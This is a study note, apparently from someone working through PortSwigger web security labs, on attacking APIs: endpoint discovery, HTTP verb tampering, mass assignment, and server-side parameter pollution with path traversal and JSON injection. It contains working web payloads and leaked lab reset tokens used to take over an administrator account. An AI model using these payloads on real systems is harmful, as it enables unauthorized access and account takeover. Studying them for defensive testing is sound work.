[TOC] Wait to learn: Easiest way to find hidden api from js files https://medium.com/@jeetpal2007/easiest-way-to-find-hidden-api-from-js-files-ce115a4ad1af API discovery Tools https://github.com/akto-api-security/akto # API Vulnerabilities API (Application Programming Interface) ![圖片](https://hackmd.io/_uploads/ryAKlRtdA.png) # Discovering API Endpoint - Site Map -> Dynamic Endpoints - DevTools(F12) -> Networks - Javascript - fetch Function Or Using Js link Finder If we found /api/swagger/v1/books/1 we should investigate the following Path - /api - /api/swagger - /api/swagger/v1 or Fuzzing - /api/swagger/v1/FUZZ - /api/swagger/v1/bools/FUZZ ## Analysis Front(js) code GPT Prompt ``` 幫我分析可能的fetch 請求Path , 所需要的parameter , HTTP verb ${Replace here with JS Fetch Code} ``` # Reading API Document (If we encounter General Error Message!) It can save a lot of time to try and error. ## Discovering Doc Document potential path ! Document Endpoint Wordlist : https://raw.githubusercontent.com/z5jt/API-documentation-Wordlist/main/api-documentation-endpoint1.txt ``` /api /swagger/index.html /openapi.json ``` We can also use the Burp Scanner tool to automatically crawl the target, testing potential file or paths. ## LAB Found Hide API Document ### Mapping the Target ![圖片](https://hackmd.io/_uploads/r175wyqOC.png) ### Identify Our next step is to locate API document, We perform testing path. ![圖片](https://hackmd.io/_uploads/BJ3nFy5OC.png) ![圖片](https://hackmd.io/_uploads/rJI9Yk5_A.png) Testing sub-paths. ![圖片](https://hackmd.io/_uploads/Hyk-K-X8p.png) ![圖片](https://hackmd.io/_uploads/H18UDbQ8p.png) ### Exploit ![圖片](https://hackmd.io/_uploads/Sk9MKZQL6.png) ![圖片](https://hackmd.io/_uploads/rJOAuWXIa.png) # Interaction with API endpoint ## API Investigation - Require Parameter ? - Support HTTP Methods ? GET POST PATCH : Data Modify DELETE OPTIONS Allowed methods - Authentication ? ## Modify Content Type (Header) API endpoints usually expect data in specific form. We can intend to Modify the data type to trigger Unexpected Behavior ! - Information Disclose - Bypass flawed defense - Take advantage of differences in processing logic. Json -> Not susceptible Inject Attack XML (Modify) -> susceptible Inject Attack For example, an API may be secure when handling JSON data but insecure when handling XML. Extension: Content Type Converter ![圖片](https://hackmd.io/_uploads/rksN_e9_A.png) ### LAB: Enumerate HTTP verb / Converting Content Type #### Mapping the target - [x] Crawl the Target (auto/manual) - [x] Testing Post ![圖片](https://hackmd.io/_uploads/r1XNwZcO0.png) #### Analysis Attack Surface Analysis API endpoint ![圖片](https://hackmd.io/_uploads/B1_VDZ5_A.png) GET /api/products/1/price If we can modify the data through the PATCH or PUT method via the API, this source might be controllable! ==Discovering the API document== ![圖片](https://hackmd.io/_uploads/HyFyH14IT.png) ![圖片](https://hackmd.io/_uploads/BJM-Bk4I6.png) ![圖片](https://hackmd.io/_uploads/SygGS1VIa.png) Not Found GET /resources/js/api/productPrice.js ```htmlembedded= ... const setPrice = (price) => { document.getElementById('price').innerText = price; }; ... const loadPricing = (productId) => { const url = new URL(location); fetch(`//${url.host}/api/products/${encodeURIComponent(productId)}/price`) .then(res => res.json()) .then(handleResponse(getAddToCartForm())); }; .... ``` #### Identify Fuzzing Testing HTTP method ![圖片](https://hackmd.io/_uploads/r1-W8yN8p.png) ![圖片](https://hackmd.io/_uploads/HyR38JVLp.png) #### Exploit Modifying the product price using PATCH: ``` PATCH ``` ![圖片](https://hackmd.io/_uploads/r1nxYyN8a.png) ![圖片](https://hackmd.io/_uploads/BJGOd14LT.png) ![圖片](https://hackmd.io/_uploads/HJRnKkE8a.png) Solved !! # Fuzzing the Hidden Parameters When we analysis API endpoint, It's possible that the API support undocumented parameter - Param miner - Intruder ## Auto-binding (Massive Assignment) Vulnerability ![圖片](https://hackmd.io/_uploads/r15e3bqdC.png) ### Arise When the software framework automatically bind request parameter on the property in internal object, It will result unexpected behavior, such as Privilege Escape Vuln Code ![圖片](https://hackmd.io/_uploads/HJNua-c_A.png) ### LAB-Exploit A Mass Assignment Vulnerability #### Mapping Target - [x] Crawl the Target - [x] Testing post ![圖片](https://hackmd.io/_uploads/BJ5uVW4Lp.png) #### Analysis Attack Surface Analysis APi endpoint ![圖片](https://hackmd.io/_uploads/rJuvVbVLp.png) Discovering API endpoint document ![圖片](https://hackmd.io/_uploads/SkYrL-N8T.png) ![圖片](https://hackmd.io/_uploads/B13N8Z4IT.png) ![圖片](https://hackmd.io/_uploads/HJqnIZVI6.png) #### Identifying Identifying supported HTTP Methods ![圖片](https://hackmd.io/_uploads/SJ2yLZEUa.png) ``` GET POST ``` Identify Hidden parameter ![圖片](https://hackmd.io/_uploads/Sk840MVU6.png) ![圖片](https://hackmd.io/_uploads/S195jMNIa.png) ### Exploit ![圖片](https://hackmd.io/_uploads/Bkl6qV48T.png) ![圖片](https://hackmd.io/_uploads/HJGPjzNLa.png) # Server-Side Parameter pollution Website embeds user input in Server-side request to an internal API without adequate encoding and verifying. ![圖片](https://hackmd.io/_uploads/ryI_xlaOC.png) ![圖片](https://hackmd.io/_uploads/ByCZMlaOA.png) - Query parameter - From - Header - URL Path ## SSPP - Query String Testing Char `#, &, =` ### Exploit - Truncating `#` Payload `%23trncateHaHa` Using `#` attempt to truncate the internal API request. ``` User Reqeust GET /userSearch?name=mwoehcker%23trncateHaHa&back=/home Server Side GET /internal-api/user/serach?name=mwoehcker%23trncateHaHa&publicProfile=true ``` Invalid username or No User -> No truncate ### Inject Parameters #### 1.Inject Invalid Parameters `&` -> `%26` Using `&` attempt to inject invalid parameter Payload: `%26invalidPara=hack` ``` Original Request GET /userSearch?name=mwoehcker&back=/home Inject Parameters reqeust GET /userSearch?name=mwoehcker%26invalidPara=hack&back=/home GET /interal-api/user/serach?name=mwoehcker&invalidPara=hack&publicProfile=true ``` name=mwoehcker%26invalidPara=hack -> (If `%26` not be converted to & -> Query may display message that user not found !) #### 2.Inject valid parameter Fuzzing hidden parameters and attempt to inject valid parameters Use a tool like Param Miner FUZZ -> Email ! ``` GET /userSearch?name=mwoehcker%26email=meow&back=/home ``` Payload: %26validpara=meow` Server Side API ``` GET /Internal-api/user/serach?name=mwoehcker%26email=meow&publicProfile=true ``` Observation -> Response ### Overriding Exists Parameter Payload: `%26para=value` If Application can tolerate double Parameter, we can attempt overriding to retrieve sensitive information. PHP -> Valid (PHP will retrieve data flowing last parameter Value) ASP.NET -> vale1,vale2 Node.js -> Invalid ``` GET /userSearch?name=peter%26name=admin&back=/home GET /users/search?name=peter&name=admin&publicProfile=true ``` ### LAB - SSPP / Parameter Truncate + Injection / Fuzzing Hide Parameter Fuzzing / js reset_toke Parameter Leak ! #### Mapping the Target & Recon ![圖片](https://hackmd.io/_uploads/B1g2tNHI6.png) #### Finding Attack Surface API Endpoint `static/js/forgotPassword.js` ![圖片](https://hackmd.io/_uploads/rJVOoESL6.png) ![圖片](https://hackmd.io/_uploads/Hyz134BIT.png) ==Search API Document== Not Found !! ==Support Method== ``` GET POST ``` We can attempt to testing Server-Side parameter pollution ![圖片](https://hackmd.io/_uploads/ryVU0NBI6.png) #### Identify Truncating Query String `#` -> `%23` ``` csrf=9lVogVXVmKXQxX3H8DQkvtYiKDkgzzSd&username=administrator%23 ``` ![圖片](https://hackmd.io/_uploads/ryL2XrB8a.png) Truncating the Rest of the Request Parameters ==To find remain parameter are request fiedl=???????(API parameter)== Identifying whether allow us inject parameter in the API endpoint query. ``` csrf=9lVogVXVmKXQxX3H8DQkvtYiKDkgzzSd&username=administrator&a=b ``` ![圖片](https://hackmd.io/_uploads/HyohVSHU6.png) Invalid filed name !! TO inject valid parameter Parameter miner -> dig Hide parameter Look up the front-end JavaScript Code Using invalid filed ``` csrf=9lVogVXVmKXQxX3H8DQkvtYiKDkgzzSd&username=administrator&field=b# ``` Fuzzing API parameter ``` csrf=9lVogVXVmKXQxX3H8DQkvtYiKDkgzzSd&username=administrator&field=a# ``` ![圖片](https://hackmd.io/_uploads/ryuvvHHLa.png) ![圖片](https://hackmd.io/_uploads/Bkc3wHSLa.png) ![圖片](https://hackmd.io/_uploads/SJUz_SBI6.png) ![圖片](https://hackmd.io/_uploads/rJkAdSBLp.png) ![圖片](https://hackmd.io/_uploads/HkfCiBSL6.png) we can attempt find another sensitive Parameter #### Exploit ![圖片](https://hackmd.io/_uploads/rkH49SrIT.png) We can use 'rest_token' to reset administrator password ![圖片](https://hackmd.io/_uploads/rkE5oBBIa.png) Token ``` inwya45cb0o5v7u6fty5isuy1y21accr ``` ![圖片](https://hackmd.io/_uploads/rkOznHS8p.png) ![圖片](https://hackmd.io/_uploads/BkFS2HrIT.png) Solved !! ## SSPP - REST Path RESTful API may replace query string with place the parameter in URL Path We can attempt combine Path traversal to exploit REST Path API Initial request from the browser ``` GET /userAccount.php?name=meowhecker REST PATH API GET /api/private/user/meowhecker ``` Attack can using path traversal attack to exploit this vulnerability, as the following request ``` GET /userAccount.php?name=meowhecker../admin ``` ``` GET /api/private/user/meowhecker%2f%2e%2e%2fadmin ``` The API will parse it as: ``` /api/private/user/admin ``` ## LAB- REST PATH API / SSPP / PATH Traversal / FUZZING API Document / Old Version API / Exploit -> Front-end valid Parameters ### Mapping target & RECON ![圖片](https://hackmd.io/_uploads/BkOV8LBU6.png) ### Finding Attack Surface ==API endpoint== ![圖片](https://hackmd.io/_uploads/S1gaUIB86.png) ==Finding API document== not found == Reset password Functionality== It seemly require passwordResetToken token, it will redirect user to reset password page!! ![圖片](https://hackmd.io/_uploads/r15NDUH86.png) We can further test the API endpoint. ### Identify API endpoint Identify Supported HTTP method ![圖片](https://hackmd.io/_uploads/ByXtOIHL6.png) ``` GET POST ``` ==Truncating URL testing== Testing normal invalid username error ``` csrf=9ZWcEhOqcoztiSquFDoOeb28rePGXNOI&username=notExsistsUser ``` ![圖片](https://hackmd.io/_uploads/rJjyiDHLp.png) Normal valid username ``` csrf=9ZWcEhOqcoztiSquFDoOeb28rePGXNOI&username=administrator ``` ![圖片](https://hackmd.io/_uploads/BJpZivBU6.png) ``` GET /api/.../user/adimistrator# /?file?/ ``` Truncated the remain parameter. ![圖片](https://hackmd.io/_uploads/rkhEowrIp.png) The API response invalid Routing Error!!! According error message, the internal API seem to use RESTful Path as parameter to retrieve specific user data. ==Inject Invalid parameter via '&'== payload ``` %26a=b ``` ![圖片](https://hackmd.io/_uploads/Syq5hwH8a.png) This URL will be parsed as `&a=b` in the pathname: ``` /api/..../{administrator&a=b}/~~/~~ ``` Invalid routing ``` /api/..../{administrator?}/~(ignore)~/~(ignore)~ ``` ![圖片](https://hackmd.io/_uploads/rJKAroHI6.png) We could ensure the parameter (controllable) is in the RESTful URL. That is, we truncating remain path they are invisible, resulting in Invalid routing. ==Exploit directory traversal to Find out the API definition== According input transform issue, we can attempt directory traversal ``` administrator%2f..%2f%23 ``` ![圖片](https://hackmd.io/_uploads/SkdO5oSI6.png) ``` administrator%2f..%2f..%2f%23 ``` ![圖片](https://hackmd.io/_uploads/BkmccsHU6.png) ``` administrator/../../../../../ ``` We can turn back the layer of the directory to the root directory by 4 layers. ![圖片](https://hackmd.io/_uploads/rJ_29jrUa.png) ![圖片](https://hackmd.io/_uploads/S1shsjrUT.png) Root Directory Deep: ``` /??/??/??/??/{username} ``` we could find the API document or setting in those layers using Intruder to fuzz. ``` administrator%2f..%2f..%2f..%2f..%2f§apiDefinitionFilenames§%23 ``` ![圖片](https://hackmd.io/_uploads/H1RL3oBUa.png) Fuzzing API Document ``` ffuf -request-proto https -request req -w ./api-documentation-endpoint1.txt -fs 250 ``` ![圖片](https://hackmd.io/_uploads/rk4qA0kYC.png) payload ``` ..%2f..%2f..%2f..%2fopenapi.json%23 ``` ![圖片](https://hackmd.io/_uploads/rJ8xVnSLa.png) ![圖片](https://hackmd.io/_uploads/Hk-EEnS8a.png) API Error Message ``` Error: Unexpected response from API server: { "openapi": "3.0.0", "info": { "title": "User API", "version": "2.0.0" }, "paths": { "/api/internal/v1/users/{username}/field/{field}": { "get": { "tags": ["users"], "summary": "Find user by username", "description": "API Version 1", "parameters": [ { "name": "username", "in": "path", "description": "Username", "required": true, "schema": { "type": "string" } }, { "name": "field", "in": "path", "description": "Field name", "required": true, "schema": { "type": "string" } } ], "responses": { "200": { "description": "Successful operation", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/User" } } } }, "400": { "description": "Invalid username or field supplied" }, "404": { "description": "User not found" } } } } } } ``` ``` csrf=sfDbTrRnroRtspmXGJwsreZirIlLnotk&username=administrator%2ffield%2fmeow%23 ``` ![圖片](https://hackmd.io/_uploads/r1Ynw2BI6.png) ``` csrf=sfDbTrRnroRtspmXGJwsreZirIlLnotk&username=administrator%2ffield%2femail%23 ``` ![圖片](https://hackmd.io/_uploads/ryhl_2HLa.png) ``` ..%2f..%2fv1%2fusers%2fadministrator ``` ![圖片](https://hackmd.io/_uploads/B1lr26r8a.png) Inspect Front End code to Find out Valid Parameter ![圖片](https://hackmd.io/_uploads/rJWwCk88T.png) ``` passwordResetToken ``` ``` ..%2f..%2fv1%2fusers%2fadministrator%2ffield%2fpasswordResetToken%23 ``` ![圖片](https://hackmd.io/_uploads/SkQkJg8La.png) ``` 3w2pcwfca42y69ojoegeeps6nc6pom5g ``` ![圖片](https://hackmd.io/_uploads/B12fkxLU6.png) ![圖片](https://hackmd.io/_uploads/Hk2DkxU8p.png) Solved !!! ## SSPP - XML / JSON For example For example, if a user wants to rename their account, our browser will send a request as follows: ``` User Request POST /myaccount name=meowhecker The internal API PATCH /user/123/update {"name":"meowhecker"} ``` ### Injecting parameter Json Encode `"` -> `\"` Payload = `\",\"valideParamter\":\"Value` ``` POST /myaccount name=meowhecker\",\"access_level\":\"administrator Interal API PATCH /user/123/update {"name":"meowhecker", "AcccessLevel":"admin"} ``` ## Testing Input with a Scanner When we identify suspicious input transformations where the server decodes or processes the user's original input, this behavior allows us to bypass flawed filters by encoding our malicious input. Extension: Backslash Powered Scanner BApp ![圖片](https://hackmd.io/_uploads/SJbj-iLIT.png) Suspicious input transformation(reflected) https://portswigger.net/kb/issues/00400d00_suspicious-input-transformation-reflected